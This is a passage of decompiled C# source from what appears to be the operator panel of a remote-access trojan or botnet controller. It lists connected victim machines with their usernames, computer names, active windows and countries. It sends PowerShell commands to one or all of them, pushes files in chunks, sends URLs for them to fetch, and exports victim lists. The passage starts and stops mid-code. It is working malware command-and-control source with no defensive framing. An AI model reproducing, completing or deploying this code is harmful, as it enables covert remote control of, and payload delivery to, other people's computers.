|
{
|
|||
|
|
clientInfo.Username = p.Username ?? "";
|
|||
|
|
flag = true;
|
|||
|
|
}
|
|||
|
|
if (clientInfo.ComputerName != (p.ComputerName ?? ""))
|
|||
|
|
{
|
|||
|
|
clientInfo.ComputerName = p.ComputerName ?? "";
|
|||
|
|
flag = true;
|
|||
|
|
}
|
|||
|
|
if (clientInfo.OS != (p.OS ?? ""))
|
|||
|
|
{
|
|||
|
|
clientInfo.OS = p.OS ?? "";
|
|||
|
|
flag = true;
|
|||
|
|
}
|
|||
|
|
if (clientInfo.ActiveWindow != (p.ActiveWindow ?? ""))
|
|||
|
|
{
|
|||
|
|
clientInfo.ActiveWindow = p.ActiveWindow ?? "";
|
|||
|
|
flag = true;
|
|||
|
|
}
|
|||
|
|
if (clientInfo.Uptime != (p.Uptime ?? ""))
|
|||
|
|
{
|
|||
|
|
clientInfo.Uptime = p.Uptime ?? "";
|
|||
|
|
flag = true;
|
|||
|
|
}
|
|||
|
|
string text = (p.CountryCode ?? "").Trim().ToUpperInvariant();
|
|||
|
|
if (clientInfo.CountryCode != text)
|
|||
|
|
{
|
|||
|
|
clientInfo.CountryCode = text;
|
|||
|
|
flag = true;
|
|||
|
|
}
|
|||
|
|
if (clientInfo.Group != (p.Group ?? ""))
|
|||
|
|
{
|
|||
|
|
clientInfo.Group = p.Group ?? "";
|
|||
|
|
flag = true;
|
|||
|
|
}
|
|||
|
|
if (clientInfo.GPU != (p.GPU ?? ""))
|
|||
|
|
{
|
|||
|
|
clientInfo.GPU = p.GPU ?? "";
|
|||
|
|
flag = true;
|
|||
|
|
}
|
|||
|
|
if (flag)
|
|||
|
|
{
|
|||
|
|
_pendingUpdates = true;
|
|||
|
|
}
|
|||
|
|
ClientCount = allClients.Count;
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
sender.SendPacket((IPacket)new PingRequestPacket(Environment.TickCount64));
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandleSystemInfo(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_0016: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0020: Expected O, but got Unknown
|
|||
|
|
GetSystemInfoResponsePacket p = (GetSystemInfoResponsePacket)packet;
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
|
|||
|
|
if (clientInfo != null)
|
|||
|
|
{
|
|||
|
|
clientInfo.Identifier = p.Identifier ?? "";
|
|||
|
|
clientInfo.Username = p.Username ?? "";
|
|||
|
|
clientInfo.ComputerName = p.ComputerName ?? "";
|
|||
|
|
clientInfo.OS = p.OS ?? "";
|
|||
|
|
}
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandlePingResponse(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_0015: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_001b: Expected O, but got Unknown
|
|||
|
|
PingResponsePacket val = (PingResponsePacket)packet;
|
|||
|
|
long tickCount = Environment.TickCount64;
|
|||
|
|
int rtt = (int)(tickCount - val.ServerTick);
|
|||
|
|
if (rtt < 0 || rtt > 30000)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.AddPingSample(rtt);
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandleCommandResponse(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_0016: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0020: Expected O, but got Unknown
|
|||
|
|
RunCommandResponsePacket p = (RunCommandResponsePacket)packet;
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
if (_shellOutputCallbacks.TryGetValue(sender, out var value))
|
|||
|
|
{
|
|||
|
|
_shellOutputCallbacks.Remove(sender);
|
|||
|
|
value(p.Output ?? "");
|
|||
|
|
}
|
|||
|
|
else
|
|||
|
|
{
|
|||
|
|
ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
|
|||
|
|
string text = ((clientInfo != null) ? clientInfo.Address : "?");
|
|||
|
|
Log("CMD [" + text + "]: " + (p.Output ?? "").Substring(0, Math.Min((p.Output ?? "").Length, 500)), "CMD");
|
|||
|
|
}
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void SendShellCommand(ClientInfo client, string command, Action<string> onOutput)
|
|||
|
|
{
|
|||
|
|
//IL_002b: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0035: Expected O, but got Unknown
|
|||
|
|
if (client?.Owner == null || onOutput == null)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
_shellOutputCallbacks[client.Owner] = onOutput;
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
client.Owner.SendPacket((IPacket)new RunCommandRequestPacket(command));
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
_shellOutputCallbacks.Remove(client.Owner);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandleFileResponse(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0019: Expected O, but got Unknown
|
|||
|
|
FileTransferResponsePacket p = (FileTransferResponsePacket)packet;
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
Log("File result: " + p.Status, "FILE");
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandleFtSack(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0007: Expected O, but got Unknown
|
|||
|
|
FtSackPacket val = (FtSackPacket)packet;
|
|||
|
|
if (_activeSenders.TryGetValue(val.TransferId, out var value))
|
|||
|
|
{
|
|||
|
|
value.HandleSack(val);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandleFtDone(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0007: Expected O, but got Unknown
|
|||
|
|
FtDonePacket val = (FtDonePacket)packet;
|
|||
|
|
if (_activeSenders.TryRemove(val.TransferId, out var value))
|
|||
|
|
{
|
|||
|
|
value.HandleDone(val);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandleDirectLinkResponse(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0019: Expected O, but got Unknown
|
|||
|
|
DirectLinkResponsePacket p = (DirectLinkResponsePacket)packet;
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
Log("DirectLink result: " + p.Status, "FILE");
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void InfoTimer_Tick(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
//IL_0083: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_008d: Expected O, but got Unknown
|
|||
|
|
//IL_0099: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_00a3: Expected O, but got Unknown
|
|||
|
|
if (server == null || !server.Listening)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
int count = allClients.Count;
|
|||
|
|
if (count == 0)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
int num = 15;
|
|||
|
|
if (infoRobin >= count)
|
|||
|
|
{
|
|||
|
|
infoRobin = 0;
|
|||
|
|
}
|
|||
|
|
int num2 = Math.Min(infoRobin + num, count);
|
|||
|
|
for (int i = infoRobin; i < num2; i++)
|
|||
|
|
{
|
|||
|
|
ClientInfo clientInfo = allClients[i];
|
|||
|
|
if (clientInfo.Owner != null && clientInfo.Owner.IsConnected)
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
clientInfo.Owner.SendPacket((IPacket)new ClientInfoRequestPacket());
|
|||
|
|
clientInfo.Owner.SendPacket((IPacket)new PingRequestPacket(Environment.TickCount64));
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
infoRobin = ((num2 < count) ? num2 : 0);
|
|||
|
|
ClientCount = allClients.Count;
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void RefreshClientList()
|
|||
|
|
{
|
|||
|
|
_pendingUpdates = true;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void ProcessClientUpdates(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
if (!_pendingUpdates)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
_pendingUpdates = false;
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
IEnumerable<ClientInfo> source = allClients.AsEnumerable();
|
|||
|
|
if (!string.IsNullOrEmpty(_filterCountry) && _filterCountry != "All")
|
|||
|
|
{
|
|||
|
|
source = source.Where((ClientInfo c) => string.Equals(c.CountryCode, _filterCountry, StringComparison.OrdinalIgnoreCase));
|
|||
|
|
}
|
|||
|
|
if (!string.IsNullOrEmpty(_filterOS) && _filterOS != "All")
|
|||
|
|
{
|
|||
|
|
source = source.Where((ClientInfo c) => (c.OS ?? "").IndexOf(_filterOS, StringComparison.OrdinalIgnoreCase) >= 0);
|
|||
|
|
}
|
|||
|
|
if (!string.IsNullOrEmpty(_filterGroup) && _filterGroup != "All")
|
|||
|
|
{
|
|||
|
|
source = source.Where((ClientInfo c) => string.Equals(c.Group ?? "", _filterGroup, StringComparison.OrdinalIgnoreCase));
|
|||
|
|
}
|
|||
|
|
if (!string.IsNullOrEmpty(_filterPing) && _filterPing != "All")
|
|||
|
|
{
|
|||
|
|
switch (_filterPing)
|
|||
|
|
{
|
|||
|
|
case "Good (<100ms)":
|
|||
|
|
source = source.Where((ClientInfo c) => c.PingValue > 0 && c.PingValue < 100);
|
|||
|
|
break;
|
|||
|
|
case "Medium (<300ms)":
|
|||
|
|
source = source.Where((ClientInfo c) => c.PingValue >= 100 && c.PingValue < 300);
|
|||
|
|
break;
|
|||
|
|
case "High (>300ms)":
|
|||
|
|
source = source.Where((ClientInfo c) => c.PingValue >= 300);
|
|||
|
|
break;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
UniqueCountriesCount = (from c in allClients
|
|||
|
|
select c.CountryCode ?? "" into s
|
|||
|
|
where s.Length > 0
|
|||
|
|
select s).Distinct().Count();
|
|||
|
|
List<int> list = (from c in allClients
|
|||
|
|
where c.PingValue > 0
|
|||
|
|
select c.PingValue).ToList();
|
|||
|
|
AveragePing = ((list.Count > 0) ? ((int)list.Average()) : 0);
|
|||
|
|
ActiveWindowsCount = allClients.Count((ClientInfo c) => !string.IsNullOrWhiteSpace(c.ActiveWindow));
|
|||
|
|
List<string> second = (from x in (from c in allClients
|
|||
|
|
select c.Group ?? "" into s
|
|||
|
|
where s.Length > 0
|
|||
|
|
select s).Distinct()
|
|||
|
|
orderby x
|
|||
|
|
select x).ToList();
|
|||
|
|
string filterGroup = _filterGroup;
|
|||
|
|
_isRefreshingClientList = true;
|
|||
|
|
SyncCollection(FilterGroupOptions, new List<string> { "All" }.Concat(second).ToList());
|
|||
|
|
_filterGroup = (FilterGroupOptions.Contains(filterGroup) ? filterGroup : "All");
|
|||
|
|
OnPropertyChanged("FilterGroup");
|
|||
|
|
_isRefreshingClientList = false;
|
|||
|
|
List<ClientInfo> list2 = source.OrderByDescending((ClientInfo c) => c.IsPinned).ToList();
|
|||
|
|
int num = 0;
|
|||
|
|
foreach (ClientInfo item in list2)
|
|||
|
|
{
|
|||
|
|
int num2 = Clients.IndexOf(item);
|
|||
|
|
if (num2 < 0)
|
|||
|
|
{
|
|||
|
|
Clients.Insert(num, item);
|
|||
|
|
}
|
|||
|
|
else if (num2 != num)
|
|||
|
|
{
|
|||
|
|
Clients.Move(num2, num);
|
|||
|
|
}
|
|||
|
|
num++;
|
|||
|
|
}
|
|||
|
|
while (Clients.Count > list2.Count)
|
|||
|
|
{
|
|||
|
|
Clients.RemoveAt(Clients.Count - 1);
|
|||
|
|
}
|
|||
|
|
UpdateFilterOptionsInternal();
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void UpdateFilterOptions()
|
|||
|
|
{
|
|||
|
|
_pendingUpdates = true;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void UpdateFilterOptionsInternal()
|
|||
|
|
{
|
|||
|
|
HashSet<string> currentCountries = new HashSet<string>(FilterCountryOptions);
|
|||
|
|
HashSet<string> currentOSes = new HashSet<string>(FilterOSOptions);
|
|||
|
|
List<string> list = (from x in (from c in allClients
|
|||
|
|
select (c.CountryCode ?? "").Trim() into s
|
|||
|
|
where s.Length > 0
|
|||
|
|
select s).Distinct()
|
|||
|
|
orderby x
|
|||
|
|
select x).ToList();
|
|||
|
|
List<string> list2 = (from x in (from c in allClients
|
|||
|
|
select (c.OS ?? "").Trim() into s
|
|||
|
|
where s.Length > 0
|
|||
|
|
select s).Distinct()
|
|||
|
|
orderby x
|
|||
|
|
select x).ToList();
|
|||
|
|
bool flag = list.Count + 1 != currentCountries.Count || list.Any((string c) => !currentCountries.Contains(c));
|
|||
|
|
bool flag2 = list2.Count + 1 != currentOSes.Count || list2.Any((string o) => !currentOSes.Contains(o));
|
|||
|
|
bool isRefreshingClientList = _isRefreshingClientList;
|
|||
|
|
_isRefreshingClientList = true;
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
if (flag)
|
|||
|
|
{
|
|||
|
|
string filterCountry = _filterCountry;
|
|||
|
|
SyncCollection(AvailableCountries, list);
|
|||
|
|
SyncCollection(FilterCountryOptions, new List<string> { "All" }.Concat(list).ToList());
|
|||
|
|
_filterCountry = (FilterCountryOptions.Contains(filterCountry) ? filterCountry : "All");
|
|||
|
|
OnPropertyChanged("FilterCountry");
|
|||
|
|
}
|
|||
|
|
if (flag2)
|
|||
|
|
{
|
|||
|
|
string filterOS = _filterOS;
|
|||
|
|
SyncCollection(AvailableOSes, list2);
|
|||
|
|
SyncCollection(FilterOSOptions, new List<string> { "All" }.Concat(list2).ToList());
|
|||
|
|
_filterOS = (FilterOSOptions.Contains(filterOS) ? filterOS : "All");
|
|||
|
|
OnPropertyChanged("FilterOS");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
finally
|
|||
|
|
{
|
|||
|
|
_isRefreshingClientList = isRefreshingClientList;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private static void SyncCollection(ObservableCollection<string> target, List<string> source)
|
|||
|
|
{
|
|||
|
|
target.Clear();
|
|||
|
|
foreach (string item in source)
|
|||
|
|
{
|
|||
|
|
target.Add(item);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoAddBlocklist()
|
|||
|
|
{
|
|||
|
|
string text = (NewBlocklistIP ?? "").Trim();
|
|||
|
|
if (string.IsNullOrEmpty(text))
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
if (store.BlockedIPs.Contains(text))
|
|||
|
|
{
|
|||
|
|
EnqueueStatus("Already blocked");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
store.BlockedIPs.Add(text);
|
|||
|
|
store.SaveBlocked();
|
|||
|
|
BlockedIPsList.Clear();
|
|||
|
|
foreach (string item in store.BlockedIPs.OrderBy((string x) => x))
|
|||
|
|
{
|
|||
|
|
BlockedIPsList.Add(item);
|
|||
|
|
}
|
|||
|
|
NewBlocklistIP = "";
|
|||
|
|
Log("Added to blocklist: " + text, "SYS");
|
|||
|
|
EnqueueStatus("Blocked " + text);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoRemoveBlocklist(string ip)
|
|||
|
|
{
|
|||
|
|
if (!string.IsNullOrEmpty(ip))
|
|||
|
|
{
|
|||
|
|
store.BlockedIPs.Remove(ip);
|
|||
|
|
store.SaveBlocked();
|
|||
|
|
BlockedIPsList.Remove(ip);
|
|||
|
|
Log("Removed from blocklist: " + ip, "SYS");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoRemoveBlocklist()
|
|||
|
|
{
|
|||
|
|
string blocklistSelectedIP = BlocklistSelectedIP;
|
|||
|
|
if (string.IsNullOrEmpty(blocklistSelectedIP))
|
|||
|
|
{
|
|||
|
|
EnqueueStatus("Select an IP to unblock");
|
|||
|
|
}
|
|||
|
|
else
|
|||
|
|
{
|
|||
|
|
DoRemoveBlocklist(blocklistSelectedIP);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoBlockSelectedClient()
|
|||
|
|
{
|
|||
|
|
ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
|
|||
|
|
if (clientInfo == null)
|
|||
|
|
{
|
|||
|
|
EnqueueStatus("Select a client to block");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
string address = clientInfo.Address;
|
|||
|
|
if (store.BlockedIPs.Contains(address))
|
|||
|
|
{
|
|||
|
|
EnqueueStatus("Already blocked");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
store.BlockedIPs.Add(address);
|
|||
|
|
store.SaveBlocked();
|
|||
|
|
BlockedIPsList.Clear();
|
|||
|
|
foreach (string item in store.BlockedIPs.OrderBy((string x) => x))
|
|||
|
|
{
|
|||
|
|
BlockedIPsList.Add(item);
|
|||
|
|
}
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
server?.DisconnectClient(clientInfo.Owner);
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
Log("Blocked and disconnected: " + address, "SYS");
|
|||
|
|
EnqueueStatus("Blocked " + address);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private IEnumerable<ClientInfo> GetSelectedOrAll(bool all)
|
|||
|
|
{
|
|||
|
|
if (all)
|
|||
|
|
{
|
|||
|
|
return allClients.Where((ClientInfo c) => c.Owner != null && c.Owner.IsConnected);
|
|||
|
|
}
|
|||
|
|
return _selectedClients.Where((ClientInfo c) => c.Owner != null && c.Owner.IsConnected);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoSendCommand(bool all)
|
|||
|
|
{
|
|||
|
|
//IL_003c: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0046: Expected O, but got Unknown
|
|||
|
|
string text = PromptInput("Send PowerShell Command", "Enter command:");
|
|||
|
|
if (string.IsNullOrEmpty(text))
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
foreach (ClientInfo item in GetSelectedOrAll(all))
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
item.Owner.SendPacket((IPacket)new RunCommandRequestPacket(text));
|
|||
|
|
Log("Sent cmd to " + item.Address + ": " + text, "CMD");
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
_lastCmd = text;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private async void DoSendFile(bool all)
|
|||
|
|
{
|
|||
|
|
OpenFileDialog openFileDialog = new OpenFileDialog
|
|||
|
|
{
|
|||
|
|
Filter = "All files|*.*"
|
|||
|
|
};
|
|||
|
|
if (openFileDialog.ShowDialog() != true)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
string path = openFileDialog.FileName;
|
|||
|
|
byte[] data;
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
data = await Task.Run(() => File.ReadAllBytes(path));
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
Exception ex2 = ex;
|
|||
|
|
Exception ex3 = ex2;
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
|
|||
|
|
{
|
|||
|
|
Log("Send file error: " + ex3.Message, "FILE");
|
|||
|
|
});
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
|
|||
|
|
{
|
|||
|
|
//IL_0106: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_010d: Expected O, but got Unknown
|
|||
|
|
long num = (long)store.Settings.MaxSendFileSizeMB * 1024L * 1024;
|
|||
|
|
if (num > 0 && data.Length > num)
|
|||
|
|
{
|
|||
|
|
Log("File too large (limit " + store.Settings.MaxSendFileSizeMB + " MB)", "FILE");
|
|||
|
|
}
|
|||
|
|
else
|
|||
|
|
{
|
|||
|
|
string name = Path.GetFileName(path);
|
|||
|
|
int num2 = Math.Max(1, (data.Length + 1200 - 1) / 1200);
|
|||
|
|
foreach (ClientInfo c in GetSelectedOrAll(all))
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
FtSender val = new FtSender(c.Owner, name, data);
|
|||
|
|
val.OnDone = delegate(uint id, bool ok, string msg)
|
|||
|
|
{
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
Log((ok ? "File delivered" : "File failed") + " [" + name + "] → " + c.Address + ": " + msg, "FILE");
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
};
|
|||
|
|
_activeSenders[val.TransferId] = val;
|
|||
|
|
val.Start();
|
|||
|
|
Log("Sending [" + name + "] to " + c.Address + " (" + num2 + " chunks × " + 1200 + " B)", "FILE");
|
|||
|
|
}
|
|||
|
|
catch (Exception ex4)
|
|||
|
|
{
|
|||
|
|
Log("Send file error: " + ex4.Message, "FILE");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
_lastFilePath = path;
|
|||
|
|
}
|
|||
|
|
});
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoDirectLink(bool all)
|
|||
|
|
{
|
|||
|
|
//IL_003c: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0046: Expected O, but got Unknown
|
|||
|
|
string text = PromptInput("Direct Link", "Enter URL:");
|
|||
|
|
if (string.IsNullOrEmpty(text))
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
foreach (ClientInfo item in GetSelectedOrAll(all))
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
item.Owner.SendPacket((IPacket)new DirectLinkRequestPacket(text));
|
|||
|
|
Log("Sent link to " + item.Address + ": " + text, "FILE");
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoCopySummary()
|
|||
|
|
{
|
|||
|
|
ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
|
|||
|
|
if (clientInfo != null)
|
|||
|
|
{
|
|||
|
|
Clipboard.SetText(clientInfo.Address + "\t" + clientInfo.Username + "\t" + clientInfo.OS + "\t" + clientInfo.PingDisplay + "\t" + clientInfo.Uptime);
|
|||
|
|
Log("Copied summary", "SYS");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoPinToTop()
|
|||
|
|
{
|
|||
|
|
ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
|
|||
|
|
if (clientInfo != null)
|
|||
|
|
{
|
|||
|
|
string address = clientInfo.Address;
|
|||
|
|
if (store.PinnedIPs.Contains(address))
|
|||
|
|
{
|
|||
|
|
store.PinnedIPs.Remove(address);
|
|||
|
|
clientInfo.IsPinned = false;
|
|||
|
|
}
|
|||
|
|
else
|
|||
|
|
{
|
|||
|
|
store.PinnedIPs.Add(address);
|
|||
|
|
clientInfo.IsPinned = true;
|
|||
|
|
}
|
|||
|
|
store.SavePinned();
|
|||
|
|
RefreshClientList();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoExportSelection()
|
|||
|
|
{
|
|||
|
|
List<ClientInfo> list = ((_selectedClients.Count > 0) ? _selectedClients : ((SelectedClient != null) ? new List<ClientInfo> { SelectedClient } : null));
|
|||
|
|
if (list == null || list.Count == 0)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
SaveFileDialog saveFileDialog = new SaveFileDialog
|
|||
|
|
{
|
|||
|
|
Filter = "CSV|*.csv",
|
|||
|
|
FileName = "export.csv"
|
|||
|
|
};
|
|||
|
|
if (saveFileDialog.ShowDialog() != true)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
List<string> list2 = new List<string> { "IP\tUser\tOS\tPing\tUptime\tGroup\tNotes" };
|
|||
|
|
foreach (ClientInfo item in list)
|
|||
|
|
{
|
|||
|
|
list2.Add(item.Address + "\t" + item.Username + "\t" + item.OS + "\t" + item.PingDisplay + "\t" + item.Uptime + "\t" + item.Group + "\t" + item.Notes);
|
|||
|
|
}
|
|||
|
|
File.WriteAllLines(saveFileDialog.FileName, list2);
|
|||
|
|
Log("Exported to " + saveFileDialog.FileName, "SYS");
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoMute30()
|
|||
|
|
{
|
|||
|
|
ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
|
|||
|
|
if (clientInfo != null)
|
|||
|
|
{
|
|||
|
|
string address = clientInfo.Address;
|
|||
|
|
clientInfo.IsMuted = true;
|
|||
|
|
clientInfo.MuteUntil = DateTime.Now.AddMinutes(30.0);
|
|||
|
|
store.MutedIPs[address] = SelectedClient.MuteUntil;
|
|||
|
|
store.SaveMuted();
|
|||
|
|
Log("Muted " + address + " for 30 min", "SYS");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoQuickHealth()
|
|||
|
|
{
|
|||
|
|
//IL_0021: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_002b: Expected O, but got Unknown
|
|||
|
|
foreach (ClientInfo item in GetSelectedOrAll(all: false))
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
item.Owner.SendPacket((IPacket)new RunCommandRequestPacket("Get-CimInstance Win32_OperatingSystem | Select-Object Caption,LastBootUpTime"));
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoRepeatLastCmd()
|
|||
|
|
{
|
|||
|
|
//IL_003b: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0045: Expected O, but got Unknown
|
|||
|
|
if (string.IsNullOrEmpty(_lastCmd))
|
|||
|
|
{
|
|||
|
|
EnqueueStatus("No previous command");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
foreach (ClientInfo item in GetSelectedOrAll(all: false))
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
item.Owner.SendPacket((IPacket)new RunCommandRequestPacket(_lastCmd));
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private async void DoRepeatLastFile()
|
|||
|
|
{
|
|||
|
|
if (string.IsNullOrEmpty(_lastFilePath) || !File.Exists(_lastFilePath))
|
|||
|
|
{
|
|||
|
|
EnqueueStatus("No previous file");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
string path = _lastFilePath;
|
|||
|
|
byte[] data;
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
data = await Task.Run(() => File.ReadAllBytes(path));
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
Exception ex2 = ex;
|
|||
|
|
Exception ex3 = ex2;
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
|
|||
|
|
{
|
|||
|
|
Log("Repeat file error: " + ex3.Message, "FILE");
|
|||
|
|
});
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
|
|||
|
|
{
|
|||
|
|
//IL_0034: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_003e: Expected O, but got Unknown
|
|||
|
|
string fileName = Path.GetFileName(path);
|
|||
|
|
foreach (ClientInfo item in GetSelectedOrAll(all: false))
|
